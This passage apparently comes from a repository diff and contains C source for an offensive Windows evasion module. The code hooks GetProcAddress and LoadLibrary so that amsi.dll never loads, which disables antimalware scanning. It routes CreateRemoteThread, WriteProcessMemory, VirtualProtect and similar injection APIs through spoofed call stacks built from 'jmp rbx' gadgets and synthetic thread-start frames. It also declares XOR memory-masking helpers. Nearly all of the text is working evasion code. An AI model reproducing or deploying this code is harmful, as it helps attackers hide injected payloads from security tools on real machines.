BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateProcessA);
call.argc = 10;
call.args[0] = (ULONG_PTR)(lpApplicationName);
call.args[1] = (ULONG_PTR)(lpCommandLine);
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
call.args[4] = (ULONG_PTR)(bInheritHandles);
call.args[5] = (ULONG_PTR)(dwCreationFlags);
call.args[6] = (ULONG_PTR)(lpEnvironment);
call.args[7] = (ULONG_PTR)(lpCurrentDirectory);
call.args[8] = (ULONG_PTR)(lpStartupInfo);
call.args[9] = (ULONG_PTR)(lpProcessInformation);
return (BOOL)draugr(&call);
}
VOID WINAPI _Sleep(DWORD dwMilliseconds)
{
/* only stack spoof if sleep is >= 1s */
if (dwMilliseconds < 1000) {
KERNEL32$Sleep(dwMilliseconds);
return;
}
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$Sleep);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwMilliseconds);
draugr(&call);
}
HMODULE WINAPI _LoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
{
/* get name of dll being loaded */
LPCWSTR back = MSVCRT$wcsrchr(lpLibFileName, L'\\');
LPCWSTR fwd = MSVCRT$wcsrchr(lpLibFileName, L'/');
LPCWSTR name = back > fwd ? back : fwd;
if (name) { name++; }
else { name = lpLibFileName; }
if (MSVCRT$_wcsicmp(name, L"amsi.dll") == 0) {
/* return without loading (─ ‿ ─) */
return NULL;
}
/* spoof the call */
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$LoadLibraryExW);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpLibFileName);
call.args[1] = (ULONG_PTR)(hFile);
call.args[2] = (ULONG_PTR)(dwFlags);
/* hold the result */
HMODULE result = (HMODULE)draugr(&call);
/* check to see if it's mscoreei.dll or clr.dll */
if (MSVCRT$_wcsicmp(name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp(name, L"clr.dll") == 0)
{
/* walk the IAT and hook LoadLibraryExW */
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)result;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)result + dosHeaders->e_lfanew);
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)result);
while (importDescriptor->Name != 0)
{
PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->OriginalFirstThunk);
PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->FirstThunk);
while (originalFirstThunk->u1.AddressOfData != 0)
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)result + originalFirstThunk->u1.AddressOfData);
BOOL isOrdinal = (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0;
if (!isOrdinal)
{
DWORD h = hash((char *)(functionName->Name));
if (h == LOADLIBRARYEXW_HASH)
{
DWORD oldProtect = 0;
if (_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect))
{
firstThunk->u1.Function = (DWORD_PTR)(_LoadLibraryExW);
_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, oldProtect, &oldProtect);
}
break;
}
}
++originalFirstThunk;
++firstThunk;
}
importDescriptor++;
}
}
return result;
}
HMODULE WINAPI _LoadLibraryW(LPCWSTR lpLibFileName)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$LoadLibraryW);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpLibFileName);
/* hold the result */
HMODULE result = (HMODULE)draugr(&call);
/* was this mscoree.dll? */
if (MSVCRT$_wcsicmp(lpLibFileName, L"mscoree.dll") == 0)
{
/* parse the module's headers */
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)result;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)result + dosHeaders->e_lfanew);
/* get the import directory */
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)result);
/* walk every imported module */
while (importDescriptor->Name != 0)
{
PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->OriginalFirstThunk);
PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->FirstThunk);
/* walk every imported function */
while (originalFirstThunk->u1.AddressOfData != 0)
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)result + originalFirstThunk->u1.AddressOfData);
BOOL isOrdinal = (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0;
if (!isOrdinal)
{
DWORD h = hash((char *)(functionName->Name));
/* is the imported function LoadLibraryExW? */
if (h == LOADLIBRARYEXW_HASH)
{
/* yep, hook it */
DWORD oldProtect = 0;
if (_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect))
{
firstThunk->u1.Function = (DWORD_PTR)(_LoadLibraryExW);
_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, oldProtect, &oldProtect);
}
break;
}
}
++originalFirstThunk;
++firstThunk;
}
importDescriptor++;
}
}
/* now return the module */
return result;
}
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(LoadLibraryA);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpLibFileName);
return (HMODULE)draugr(&call);
}
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
char * result = (char *)GetProcAddress(hModule, lpProcName);
/*
* Check to see what function is being resolved.
* Note that lpProcName may be an ordinal, not a string.
*/
if ((ULONG_PTR)lpProcName >> 16 == 0) {
/* it's an ordinal */
return result;
}
/* Look at the ones we want to hook */
/* Calculte function hash */
DWORD h = hash((char *)lpProcName);
if (h == GETPROCADDRESS_HASH) {
return (char *)_GetProcAddress;
}
else if (h == LOADLIBRARYA_HASH) {
return (char *)_LoadLibraryA;
}
else if (h == LOADLIBRARYW_HASH) {
return (char *)_LoadLibraryW;
}
else if (h == LOADLIBRARYEXW_HASH) {
return (char*)_LoadLibraryExW;
}
else if (h == VIRTUALALLOC_HASH) {
return (char *)_VirtualAlloc;
}
else if (h == VIRTUALALLOCEX_HASH) {
return (char *)_VirtualAllocEx;
}
else if (h == VIRTUALPROTECT_HASH) {
return (char *)_VirtualProtect;
}
else if (h == VIRTUALPROTECTEX_HASH) {
return (char *)_VirtualProtectEx;
}
else if (h == VIRTUALFREE_HASH) {
return (char *)_VirtualFree;
}
else if (h == GETTHREADCONTEXT_HASH) {
return (char *)_GetThreadContext;
}
else if (h == SETTHREADCONTEXT_HASH) {
return (char *)_SetThreadContext;
}
else if (h == RESUMETHREAD_HASH) {
return (char *)_ResumeThread;
}
else if (h == CREATETHREAD_HASH) {
return (char *)_CreateThread;
}
else if (h == CREATEREMOTETHREAD_HASH) {
return (char *)_CreateRemoteThread;
}
else if (h == OPENPROCESS_HASH) {
return (char *)_OpenProcess;
}
else if (h == OPENTHREAD_HASH) {
return (char *)_OpenThread;
}
else if (h == CLOSEHANDLE_HASH) {
return (char *)_CloseHandle;
}
else if (h == CREATEFILEMAPPINGA_HASH) {
return (char *)_CreateFileMappingA;
}
else if (h == MAPVIEWOFFILE_HASH) {
return (char *)_MapViewOfFile;
}
else if (h == UNMAPVIEWOFFILE_HASH) {
return (char *)_UnmapViewOfFile;
}
else if (h == VIRTUALQUERY_HASH) {
return (char *)_VirtualQuery;
}
else if (h == DUPLICATEHANDLE_HASH) {
return (char *)_DuplicateHandle;
}
else if (h == READPROCESSMEMORY_HASH) {
return (char *)_ReadProcessMemory;
}
else if (h == WRITEPROCESSMEMORY_HASH) {
return (char *)_WriteProcessMemory;
}
else if (h == EXITTHREAD_HASH) {
g_ExitThread = result;
return (char *)_ExitThread;
}
else if (h == CREATEPROCESSA_HASH) {
return (char *)_CreateProcessA;
}
else if (h == SLEEP_HASH) {
return (char *)_Sleep;
}
return result;
}
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
{
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
if (layout != NULL) {
g_layout = *layout;
}
initFrameInfo();
}
-433
View File
@@ -1,433 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "hash.h"
#include "proxy.h"
#include "memory.h"
#define RBP_OP_INFO 0x5
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW (LPCWSTR);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW (LPCWSTR, HANDLE, DWORD);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR);
DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ();
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ();
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T);
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG);
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN);
DECLSPEC_IMPORT int WINAPIV MSVCRT$_wcsicmp (const wchar_t *, const wchar_t *);
DECLSPEC_IMPORT wchar_t * WINAPIV MSVCRT$wcsrchr (const wchar_t *, wchar_t);
/* the proxy pic */
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
// God Bless Vulcan Raven.
typedef struct _STACK_FRAME {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME, * PSTACK_FRAME;
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union _UNWIND_CODE {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO, *PUNWIND_INFO;
typedef struct _FRAME_INFO {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO, * PFRAME_INFO;
typedef struct _SYNTHETIC_STACK_FRAME {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID pGadget;
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
typedef struct {
PVOID function;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL, * PFUNCTION_CALL;
typedef struct _DRAUGR_FUNCTION_CALL {
PFUNCTION_CALL FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
SYNTHETIC_STACK_FRAME g_stackFrame;
void applyxor(char * data, DWORD len);
void xorsection(MEMORY_SECTION * section, BOOL mask);
void xorregion(MEMORY_REGION * region, BOOL mask);
void xormemory(BOOL mask);
void initFrameInfo()
{
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll");
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
g_stackFrame.Frame1.Offset = 0x17;
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
g_stackFrame.Frame2.Offset = 0x2c;
g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
}
BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
{
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
{
DWORD h = hash((char*)pImgSectionHeader[i].Name);
if (h == TEXT_HASH)
{
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
{
PUNWIND_INFO pUnwindInfo = NULL;
ULONG unwindOperation = 0;
ULONG operationInfo = 0;
ULONG index = 0;
ULONG frameOffset = 0;
STACK_FRAME stackFrame;
memset(&stackFrame, 0, sizeof(stackFrame));
if (!pRuntimeFunction) {
return NULL;
}
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
while (index < pUnwindInfo->CountOfCodes)
{
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
/* don't use switch as it produces jump tables */
if (unwindOperation == UWOP_PUSH_NONVOL)
{
stackFrame.TotalStackSize += 8;
if (RBP_OP_INFO == operationInfo) {
stackFrame.PushRbp = TRUE;
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
stackFrame.PushRbpIndex = index + 1;
}
}
else if (unwindOperation == UWOP_SAVE_NONVOL)
{
index += 1;
}
else if (unwindOperation == UWOP_ALLOC_SMALL)
{
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
}
else if (unwindOperation == UWOP_ALLOC_LARGE)
{
index += 1;
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
if (operationInfo == 0) {
frameOffset *= 8;
}
else {
index += 1;
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
}
stackFrame.TotalStackSize += frameOffset;
}
else if (unwindOperation == UWOP_SET_FPREG)
{
stackFrame.SetsFramePointer = TRUE;
}
else if (unwindOperation == UWOP_SAVE_XMM128)
{
return NULL;
}
index += 1;
}
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
{
index = pUnwindInfo->CountOfCodes;
if (0 != (index & 1)) {
index += 1;
}
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
return calculateFunctionStackSize(pRuntimeFunction, imageBase);
}
stackFrame.TotalStackSize += 8;
return (PVOID)(stackFrame.TotalStackSize);
}
PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress)
{
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
DWORD64 ImageBase = 0;
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
if (!returnAddress) {
return NULL;
}
pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
if (NULL == pRuntimeFunction) {
return NULL;
}
return calculateFunctionStackSize(pRuntimeFunction, ImageBase);
}
PVOID findGadget(PVOID pModuleAddr)
{
BOOL bFoundGadgets = FALSE;
DWORD dwTextSectionSize = 0;
DWORD dwTextSectionVa = 0;
DWORD dwCounter = 0;
ULONG seed = 0;
ULONG randomNbr = 0;
PVOID pModTextSection = NULL;
PVOID pGadgetList[15];
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
if (!bFoundGadgets)
{
if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
return NULL;
}
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
for (int i = 0; i < (dwTextSectionSize - 2); i++)
{
// Searching for jmp rbx gadget
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
{
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
dwCounter++;
if (dwCounter == 15) {
break;
}
}
}
bFoundGadgets = TRUE;
}
seed = 0x1337;
randomNbr = NTDLL$RtlRandomEx(&seed);
randomNbr %= dwCounter;
return pGadgetList[randomNbr];
}
ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
{
int attempts = 0;
PVOID returnAddress = NULL;
DRAUGR_PARAMETERS draugrParameters;
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
// configure BaseThreadInitThunk frame
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress);
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
return (ULONG_PTR)(NULL);
}
// configure RtlUserThreadStart frame.
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress);
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
return (ULONG_PTR)(NULL);
}
/*
* Ensure that the gadget stack size is bigger than 0x80, which is min
* required to hold 10 arguments, otherwise it will crash sporadically.
*/
do {
draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget);
draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline);
attempts++;
// quick sanity check for infinite loop
if (attempts > 15) {
return (ULONG_PTR)(NULL);
}
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
return (ULONG_PTR)(NULL);
}
// make the call!
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
}
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
{
/* very inelegant */
if (functionCall->argc == 0) {
return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 1) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 2) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 3) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 4) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 5) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 6) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 7) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 8) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 9) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
} else if (functionCall->argc == 10) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
} else if (functionCall->argc == 11) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
} else if (functionCall->argc == 12) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
}
return (ULONG_PTR)(NULL);
}
-250
View File
